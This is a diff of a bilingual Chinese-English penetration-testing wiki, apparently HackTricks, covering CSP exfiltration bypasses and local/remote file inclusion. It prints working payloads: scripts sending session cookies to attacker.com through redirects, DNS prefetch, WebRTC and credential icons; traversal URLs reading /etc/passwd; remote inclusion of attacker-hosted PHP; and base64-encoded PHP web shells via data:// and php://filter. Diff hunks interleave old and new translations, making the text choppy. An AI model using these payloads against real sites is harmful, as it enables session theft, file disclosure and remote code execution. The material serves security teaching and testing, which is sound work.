|
||||
有关如何执行此攻击的更多信息,请查看[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
|
||||
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
## CSP Exfiltration 绕过
|
||||
|
||||
如果存在严格的CSP,不允许您**与外部服务器交互**,您始终可以做一些事情来提取信息。
|
||||
如果存在严格的 CSP 不允许你**与外部服务器交互**,仍有一些方法可以将信息外泄。
|
||||
|
||||
### Location
|
||||
|
||||
您可以仅更新位置以将秘密信息发送到攻击者的服务器:
|
||||
You could just update the location to send to the attacker's server the secret information:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
document.location = "https://attacker.com/?" + sessionid
|
||||
```
|
||||
### Meta tag
|
||||
### Meta 标签
|
||||
|
||||
您可以通过注入 meta 标签进行重定向(这只是重定向,不会泄露内容)
|
||||
你可以通过注入 meta 标签进行重定向(这只是一个重定向,不会 leak 内容)
|
||||
```html
|
||||
<meta http-equiv="refresh" content="1; http://attacker.com" />
|
||||
```
|
||||
### DNS Prefetch
|
||||
|
||||
为了更快地加载页面,浏览器将预先解析主机名为IP地址并将其缓存以供后续使用。\
|
||||
您可以通过以下方式指示浏览器预解析主机名:`<link rel="dns-prefetch" href="something.com">`
|
||||
为了加快页面加载,浏览器会预先将主机名解析为 IP 地址并缓存以备后用。\
|
||||
你可以用以下方式指示浏览器预解析主机名: `<link rel="dns-prefetch" href="something.com">`
|
||||
|
||||
您可以利用这种行为来**通过DNS请求外泄敏感信息**:
|
||||
你可以滥用此行为来 **exfiltrate sensitive information via DNS requests**:
|
||||
```javascript
|
||||
var sessionid = document.cookie.split("=")[1] + "."
|
||||
var body = document.getElementsByTagName("body")[0]
|
||||
@ -675,18 +695,18 @@ linkEl.rel = "prefetch"
|
||||
linkEl.href = urlWithYourPreciousData
|
||||
document.head.appendChild(linkEl)
|
||||
```
|
||||
为了避免这种情况,服务器可以发送 HTTP 头:
|
||||
为了避免这种情况发生,服务器可以发送 HTTP header:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
> [!TIP]
|
||||
> 显然,这种技术在无头浏览器(机器人)中不起作用
|
||||
> 显然,此技术在 headless browsers (bots) 中不起作用
|
||||
|
||||
### WebRTC
|
||||
|
||||
在几个页面上你可以看到**WebRTC不检查CSP的`connect-src`策略**。
|
||||
在多篇文章中可以看到 **WebRTC 不会检查 CSP 的 `connect-src` 策略**。
|
||||
|
||||
实际上,你可以通过_ DNS请求_来_泄露_信息。查看这段代码:
|
||||
实际上,你可以使用 _DNS request_ 来 _leak_ 信息。查看以下代码:
|
||||
```javascript
|
||||
;(async () => {
|
||||
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
|
||||
@ -708,7 +728,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
### CredentialsContainer
|
||||
|
||||
凭证弹出窗口向 iconURL 发送 DNS 请求,而不受页面的限制。它仅在安全上下文(HTTPS)或本地主机上工作。
|
||||
凭证弹出窗口会向 iconURL 发送 DNS 请求,而不会受到页面的限制。它仅在安全上下文(HTTPS)或 localhost 上工作。
|
||||
```javascript
|
||||
navigator.credentials.store(
|
||||
new FederatedCredential({
|
||||
@ -719,7 +739,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
})
|
||||
)
|
||||
```
|
||||
## 检查 CSP 策略在线
|
||||
## 在线检查 CSP 策略
|
||||
|
||||
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
|
||||
@ -728,7 +748,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
|
||||
[https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy)
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/)
|
||||
- [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/)
|
||||
@ -738,6 +758,7 @@ iconURL:"https:"+your_data+"example.com"
|
||||
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||||
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
|
||||
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
|
@ -4,14 +4,14 @@
|
||||
|
||||
## File Inclusion
|
||||
|
||||
**Remote File Inclusion (RFI):** 文件从远程服务器加载(最佳情况:你可以写入代码并让服务器执行它)。在 php 中默认**禁用**(**allow_url_include**)。\
|
||||
**Remote File Inclusion (RFI):** 文件从远程服务器加载(例如:你可以写入代码并由服务器执行)。在 php 中默认**禁用**(**allow_url_include**)。\
|
||||
**Local File Inclusion (LFI):** 服务器加载本地文件。
|
||||
|
||||
漏洞发生在用户以某种方式能够控制将被服务器加载的文件时。
|
||||
当用户以某种方式能够控制将被服务器加载的文件时,就会出现该漏洞。
|
||||
|
||||
易受攻击的 **PHP 函数**: require, require_once, include, include_once
|
||||
易受攻击的 **PHP functions**: require, require_once, include, include_once
|
||||
|
||||
一个利用此漏洞的有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
用于利用此漏洞的一个有趣工具: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
|
||||
|
||||
## Blind - Interesting - LFI2RCE files
|
||||
```python
|
||||
@ -19,43 +19,43 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
|
||||
```
|
||||
### **Linux**
|
||||
|
||||
**混合多个 *nix LFI 列表并添加更多路径后,我创建了这个:**
|
||||
**混合多个 *nix LFI 列表并添加更多路径,我创建了这个:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
|
||||
{{#endref}}
|
||||
|
||||
Try also to change `/` for `\`\
|
||||
Try also to add `../../../../../`
|
||||
也试着将 `/` 替换为 `\`\
|
||||
也试着添加 `../../../../../`
|
||||
|
||||
一个使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
|
||||
使用多种技术查找文件 /etc/password(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到
|
||||
|
||||
### **Windows**
|
||||
|
||||
Merge of different wordlists:
|
||||
合并不同的 wordlists:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
|
||||
{{#endref}}
|
||||
|
||||
Try also to change `/` for `\`\
|
||||
Try also to remove `C:/` and add `../../../../../`
|
||||
也试着将 `/` 替换为 `\`\
|
||||
也试着移除 `C:/` 并添加 `../../../../../`
|
||||
|
||||
一个使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
|
||||
使用多种技术查找文件 /boot.ini(用于检查漏洞是否存在)的列表可以在 [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到
|
||||
|
||||
### **OS X**
|
||||
|
||||
Check the LFI list of linux.
|
||||
查看 linux 的 LFI 列表。
|
||||
|
||||
## Basic LFI and bypasses
|
||||
|
||||
所有示例适用于 Local File Inclusion,但也可以应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>)。
|
||||
所有示例都针对 Local File Inclusion,但也可应用于 Remote File Inclusion(page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>)。
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### traversal sequences(非递归移除)
|
||||
### 遍历序列被非递归地移除
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
@ -63,15 +63,15 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
|
||||
```
|
||||
### **Null byte (%00)**
|
||||
|
||||
绕过在所提供字符串末尾追加更多字符(绕过: $\_GET\['param']."php")
|
||||
Bypass 在提供的字符串末尾附加更多字符 (bypass of: $\_GET\['param']."php")
|
||||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
此问题 **自 PHP 5.4 起已解决**
|
||||
该问题 **自 PHP 5.4 起已解决**
|
||||
|
||||
### **编码**
|
||||
|
||||
你可以使用非标准编码,例如 double URL encode(和其他方式):
|
||||
你可以使用非标准的编码方式,比如 double URL encode(以及其他方式):
|
||||
```
|
||||
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
||||
@ -80,42 +80,42 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### 来自已存在的文件夹
|
||||
|
||||
也许后端正在检查文件夹路径:
|
||||
后端可能在检查文件夹路径:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
### 在服务器上探索文件系统目录
|
||||
|
||||
可以通过某些技术对服务器的文件系统进行递归探索,以识别目录而不仅仅是文件。此过程包括确定目录深度并探测特定文件夹是否存在。下面是实现该目标的详细方法:
|
||||
可以通过采用某些技术递归地探索服务器的文件系统,以识别目录(不只是文件)。该过程包括确定目录深度并探测特定文件夹是否存在。下面是实现此目的的详细方法:
|
||||
|
||||
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度(适用于 Linux-based 的服务器)。例如,一个 URL 可能如下所示,表示深度为三:
|
||||
1. **Determine Directory Depth:** 确定当前目录的深度,通过成功获取 `/etc/passwd` 文件(适用于 Linux-based 的服务器)来判断。示例 URL 可能如下所示,表示深度为三:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../etc/passwd # depth of 3
|
||||
```
|
||||
2. **探测文件夹:** 将疑似文件夹的名称(例如,`private`)附加到 URL,然后返回到 `/etc/passwd`。额外的目录层级需要将深度增加 1:
|
||||
2. **探测文件夹:** 在 URL 后附加疑似文件夹名称(例如 `private`),然后导航回 `/etc/passwd`。额外的目录层级需要将 depth 增加一:
|
||||
```bash
|
||||
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
|
||||
```
|
||||
3. **解释结果:** 服务器的响应表明该文件夹是否存在:
|
||||
- **错误 / 无输出:** 文件夹 `private` 很可能在指定位置不存在。
|
||||
- **`/etc/passwd` 的内容:** 已确认存在 `private` 文件夹。
|
||||
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探查子目录或文件。
|
||||
- **错误 / 无输出:** 文件夹 `private` 很可能不存在于指定位置。
|
||||
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
|
||||
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的 Local File Inclusion (LFI) 方法进一步探测子目录或文件。
|
||||
|
||||
要探索文件系统中不同位置的目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录的深度为 3),请使用:
|
||||
要在文件系统的不同位置探索目录,请相应调整 payload。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3),使用:
|
||||
```bash
|
||||
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
||||
```
|
||||
### **Path Truncation Technique**
|
||||
|
||||
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它经常被用于通过绕过在文件路径末尾追加额外字符的某些安全机制来访问受限制的文件。目标是构造一个文件路径,使得在被安全机制修改后仍然指向目标文件。
|
||||
Path truncation 是一种用于操纵 web 应用中文件路径的方法。它常被用来通过绕过那些在文件路径末尾附加额外字符的安全措施来访问受限文件。目标是构造一个文件路径,使得在被安全措施修改后仍然指向所需的文件。
|
||||
|
||||
在 PHP 中,由于文件系统的特性,同一路径可以有多种等价的表示方式。例如:
|
||||
In PHP 中,由于文件系统的特性,对同一路径的不同表示通常会被视为等价。例如:
|
||||
|
||||
- `/etc/passwd`、`/etc//passwd`、`/etc/./passwd` 和 `/etc/passwd/` 都被视为相同的路径。
|
||||
- 当最后 6 个字符是 `passwd` 时,追加一个 `/`(即变成 `passwd/`)不会改变目标文件。
|
||||
- 类似地,如果在文件路径后追加了 `.php`(例如 `shellcode.php`),在末尾添加 `/.` 也不会改变被访问的文件。
|
||||
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, 和 `/etc/passwd/` 都被视为相同的路径。
|
||||
- 当最后 6 个字符是 `passwd` 时,追加一个 `/`(变成 `passwd/`)并不会改变目标文件。
|
||||
- 类似地,如果文件路径末尾包含 `.php`(例如 `shellcode.php`),在末尾添加 `/.` 并不会改变所访问的文件。
|
||||
|
||||
提供的示例演示了如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户账户信息):
|
||||
下面的示例演示了如何利用 path truncation 访问 `/etc/passwd`,这是一个常见目标,因为它包含敏感内容(用户帐户信息):
|
||||
```
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
|
||||
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
|
||||
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
|
||||
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
|
||||
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
|
||||
```
|
||||
在这些场景中,所需的 traversals 数量可能约为 2027,但该数值会根据服务器的配置而变化。
|
||||
在这些场景中,所需的遍历次数可能约为 2027,但该数字可能根据服务器的配置而变化。
|
||||
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) 结合额外的 dot segments 和字符可用于浏览文件系统,实际上可以使服务器追加的字符串被忽略。
|
||||
- **Determining the Required Number of Traversals**: 通过反复试验,可以找到精确需要的 `../` 序列数,以导航到根目录再到 `/etc/passwd`,确保任何被追加的字符串(例如 `.php`)被中和,但目标路径(`/etc/passwd`)保持不变。
|
||||
- **Starting with a Fake Directory**: 通常会在路径开头使用一个不存在的目录(例如 `a/`)。该技术作为一种预防措施,或用于满足服务器路径解析逻辑的要求。
|
||||
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) combined with extra dot segments and characters can be used to navigate the file system, effectively ignoring appended strings by the server.
|
||||
- **Determining the Required Number of Traversals**: Through trial and error, one can find the precise number of `../` sequences needed to navigate to the root directory and then to `/etc/passwd`, ensuring that any appended strings (like `.php`) are neutralized but the desired path (`/etc/passwd`) remains intact.
|
||||
- **Starting with a Fake Directory**: It's a common practice to begin the path with a non-existent directory (like `a/`). This technique is used as a precautionary measure or to fulfill the requirements of the server's path parsing logic.
|
||||
|
||||
在使用 path truncation techniques 时,了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法,通常需要通过测试来找到最有效的方式。
|
||||
在使用路径截断技术时,理解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要通过测试来找到最有效的方案。
|
||||
|
||||
**此漏洞已在 PHP 5.3 中修复。**
|
||||
**此漏洞在 PHP 5.3 中已修复。**
|
||||
|
||||
### **Filter bypass tricks**
|
||||
```
|
||||
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
在 php 中默认禁用,因为 **`allow_url_include`** 是 **Off.** 必须为 **On** 才能生效,在这种情况下你可以从你的服务器包含一个 PHP 文件并获得 RCE:
|
||||
在 php 中默认禁用,因为 **`allow_url_include`** 为 **Off**。必须为 **On** 才能工作,这样你可以从你的服务器包含一个 PHP 文件并获得 RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
如果出于某种原因 **`allow_url_include`** 为 **On**,但 PHP 正在 **filtering** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data protocol 配合 base64 来解码 b64 PHP 代码并 egt RCE:
|
||||
如果因为某些原因 **`allow_url_include`** 是 **On**,但 PHP 正在 **filtering** 外部网页的访问, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以例如使用 data 协议配合 base64 来解码 b64 PHP 代码并获得 RCE:
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
> [!TIP]
|
||||
> 在前面的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以它结尾,并且在 b64 decode 之后那部分会只返回垃圾,真实的 PHP 代码将被包含(因此被执行)。
|
||||
>
|
||||
> 另一个 **不使用 `php://` 协议** 的例子是:
|
||||
> 在前面的代码中,最后的 `+.txt` 是被加入的,因为攻击者需要一个以 `.txt` 结尾的字符串,所以字符串以此结尾,经过 b64 decode 后该部分将只是一些垃圾,而真正的 PHP 代码会被包含(因此被执行)。
|
||||
|
||||
另一个示例 **不使用 `php://` 协议** 会是:
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
## Python 根元素
|
||||
|
||||
在 Python 中,在像下面这样的代码中:
|
||||
在 Python 中,像下面这样的代码:
|
||||
```python
|
||||
# file_name is controlled by a user
|
||||
os.path.join(os.getcwd(), "public", file_name)
|
||||
```
|
||||
如果用户向 **`file_name`** 传递了一个 **绝对路径**,则 **先前的路径会被移除**:
|
||||
如果用户将 **绝对路径** 传递给 **`file_name`**,则 **之前的路径会被移除**:
|
||||
```python
|
||||
os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
'/etc/passwd'
|
||||
```
|
||||
这是根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):的预期行为:
|
||||
这是根据 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join) 的预期行为:
|
||||
|
||||
> 如果一个组件是绝对路径,所有之前的组件都会被丢弃,并且拼接将从该绝对路径组件继续。
|
||||
> 如果某个组件是绝对路径,所有先前的组件都会被丢弃,连接将从绝对路径组件继续。
|
||||
|
||||
## Java 列出目录
|
||||
|
||||
看起来如果在 Java 中存在 Path Traversal,并且你 **请求的是目录** 而不是文件,则会返回该目录的 **列表**。据我所知,其他语言不会出现这种情况(afaik)。
|
||||
看起来如果在 Java 中存在 Path Traversal,并且你 **请求一个目录** 而不是文件,**将返回该目录的列表**。据我所知,这在其他语言中不会发生。
|
||||
|
||||
## 前25个参数
|
||||
## Top 25 参数
|
||||
|
||||
下面是可能易受 local file inclusion (LFI) 漏洞影响的前25个参数的列表(来自 [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
下面是可能易受 local file inclusion (LFI) 漏洞影响的前 25 个参数列表 (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
@ -215,34 +215,34 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
|
||||
|
||||
### php://filter
|
||||
|
||||
PHP filters 允许在数据被读取或写入之前执行基本的 **修改操作**。过滤器分为 5 类:
|
||||
PHP filters 允许在读取或写入数据之前执行基本的**数据修改操作**。有 5 类过滤器:
|
||||
|
||||
- [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
- `string.rot13`
|
||||
- `string.toupper`
|
||||
- `string.tolower`
|
||||
- `string.strip_tags`: 从数据中移除标签(位于 "<" 和 ">" 字符之间的所有内容)
|
||||
- 注意该过滤器在现代版本的 PHP 中已消失
|
||||
- `string.strip_tags`: Remove tags from the data (everything between "<" and ">" chars)
|
||||
- Note that this filter has disappear from the modern versions of PHP
|
||||
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
- `convert.base64-encode`
|
||||
- `convert.base64-decode`
|
||||
- `convert.quoted-printable-encode`
|
||||
- `convert.quoted-printable-decode`
|
||||
- `convert.iconv.*`:转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取受支持编码的 **完整列表**,在控制台运行:`iconv -l`
|
||||
- `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
|
||||
|
||||
> [!WARNING]
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这对于写入任意文本或让像 include 这样的函数处理任意文本可能很有用。更多信息请参见 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
|
||||
> 滥用 `convert.iconv.*` 转换过滤器可以**生成任意文本**,这对于写入任意文本或让类似 include 的函数处理任意文本可能很有用。更多信息请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
|
||||
|
||||
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
- `zlib.deflate`: 压缩内容(useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: 解压数据
|
||||
- `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||||
- `zlib.inflate`: Decompress the data
|
||||
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
- `mcrypt.*`:已弃用
|
||||
- `mdecrypt.*`:已弃用
|
||||
- `mcrypt.*` : Deprecated
|
||||
- `mdecrypt.*` : Deprecated
|
||||
- Other Filters
|
||||
- 在 PHP 中运行 `var_dump(stream_get_filters());` 可以发现一些 **意想不到的过滤器**:
|
||||
- 在 php 中运行 `var_dump(stream_get_filters());` 可以找到一些**意外的过滤器**:
|
||||
- `consumed`
|
||||
- `dechunk`: 反转 HTTP chunked 编码
|
||||
- `dechunk`: 反转 HTTP 分块编码
|
||||
- `convert.*`
|
||||
```php
|
||||
# String Filters
|
||||
@ -275,35 +275,35 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
|
||||
|
||||
### 使用 php filters 作为 oracle 来读取任意文件
|
||||
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器获取输出的情况下读取本地文件的技术。该技术基于 **boolean exfiltration of the file (char by char) using php filters** 作为 oracle。这是因为 php filters 可以用来使文本变得足够大,从而使 php 抛出异常。
|
||||
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种技术,可以在服务器不直接返回输出的情况下读取本地文件。该技术基于使用 php filters 作为 oracle 的 **boolean exfiltration (char by char)**。这是因为 php filters 可以用来将文本放大到足以让 php 抛出异常的程度。
|
||||
|
||||
在原文中可以找到对该技术的详细解释,下面给出一个快速总结:
|
||||
原文中有对此技术的详细解释,这里给出快速总结:
|
||||
|
||||
- 使用 codec **`UCS-4LE`** 将文本的首字符保留在开头并使字符串大小呈指数级增长。
|
||||
- 这将用于生成一个 **当首字母猜对时变得非常大的文本**,以至于 php 会触发一个 **错误**。
|
||||
- **dechunk** 过滤器会 **如果首字符不是十六进制则删除所有内容**,因此我们可以判断首字符是否为十六进制。
|
||||
- 这与前一条结合(以及根据猜测字母使用的其他 filters)可以让我们通过观察在进行足够多的转换后何时该字符不再是十六进制字符来猜测文本开头的一个字母。因为如果是十六进制,dechunk 不会删除它,而初始“炸弹”会使 php 报错。
|
||||
- codec **convert.iconv.UNICODE.CP930** 会将每个字母转换为下一个字母(例如:a -> b)。这使我们能够判断首字母是否为 `a`,例如如果应用 6 次该 codec,则 a->b->c->d->e->f->g,字母不再是十六进制字符,因此 dechunk 不会删除它,且由于与初始“炸弹”相乘会触发 php 错误。
|
||||
- 使用其他变换,比如在开头使用 **rot13**,可以 leak 其它字符如 n、o、p、q、r(也可以使用其他 codec 将其他字母移动到十六进制范围)。
|
||||
- 当首字符是数字时,需要对其进行 base64 编码,并 leak 前两个字符以泄露该数字。
|
||||
- 最终的问题是要看 **how to leak more than the initial letter**。通过使用顺序内存 filters(order memory filters)如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,从而将文本中的其他字母移到第一位。
|
||||
- 为了能够获取 **further data**,思路是使用 **convert.iconv.UTF16.UTF16** 在开头 **生成 2 字节的垃圾数据**,然后应用 **UCS-4LE** 使其与接下来的 2 字节发生 **pivot with the next 2 bytes**,并 **删除直到垃圾数据为止的数据**(这将移除初始文本的前 2 字节)。继续这样操作直到达到要 leak 的位。
|
||||
- 使用 codec **`UCS-4LE`** 将文本的首字符放在开头,并使字符串大小呈指数增长。
|
||||
- 当猜测到首字母正确时,这会被用来生成一个足够大的文本,从而触发 php 的 **error**。
|
||||
- **dechunk** filter 会在首字符不是十六进制时 **删除所有内容**,因此我们可以判断首字符是否为十六进制。
|
||||
- 将此与前者结合(以及根据猜测字母使用的其他 filters),可以通过观察在进行足够多的转换后何时其不再是十六进制字符来猜出文本首字母。如果是十六进制,dechunk 不会删除它,而初始的“炸弹”会导致 php 报错。
|
||||
- codec **convert.iconv.UNICODE.CP930** 会将每个字母变为其后继字母(所以经过此 codec 之后:a -> b)。这能让我们判断首字母是否为 `a`,例如如果我们应用 6 次该 codec:a->b->c->d->e->f->g,该字母就不再是十六进制字符,从而 dechunk 不会删除它,且由于与初始“炸弹”相乘会触发 php error。
|
||||
- 使用像 **rot13** 这样的初始变换可以 leak 其他字符,例如 n, o, p, q, r(也可以用其他 codecs 将其他字母移入十六进制范围)。
|
||||
- 当首字符是数字时,需要对其进行 base64 编码,并 leak 前两个字母以推断该数字。
|
||||
- 最终的问题是如何 leak 超过首字母的内容。通过使用改变字节顺序的 filters(例如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**)可以改变字符的顺序,从而将文本中的其他字母移动到首位。
|
||||
- 为了能够获取更多数据,思路是使用 **convert.iconv.UTF16.UTF16** 在开头生成 2 字节的垃圾数据,应用 **UCS-4LE** 使其与接下来的 2 字节发生 **pivot**,然后 d**elete the data until the junk data**(这会移除原始文本的前 2 个字节)。重复此过程直到到达要 leak 的目标位。
|
||||
|
||||
在文章中还泄露了一个可以自动执行该方法的工具: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||
文章中还公开了一个用于自动执行该操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
|
||||
|
||||
### php://fd
|
||||
|
||||
这个 wrapper 允许访问进程已打开的 file descriptors。可能有助于泄露已打开文件的内容:
|
||||
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
```
|
||||
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **file descriptors 0, 1 and 2**(不确定这在攻击中有什么用)
|
||||
你也可以使用 **php://stdin, php://stdout and php://stderr** 来分别访问 **文件描述符 0, 1 和 2**(不确定这在攻击中有何用处)
|
||||
|
||||
### zip:// and rar://
|
||||
|
||||
上传一个包含 PHPShell 的 Zip 或 Rar 文件并访问它。\
|
||||
为了能够滥用 rar 协议,它 **需要被特意启用**。
|
||||
要能够滥用 rar 协议,它**需要被专门启用**。
|
||||
```bash
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
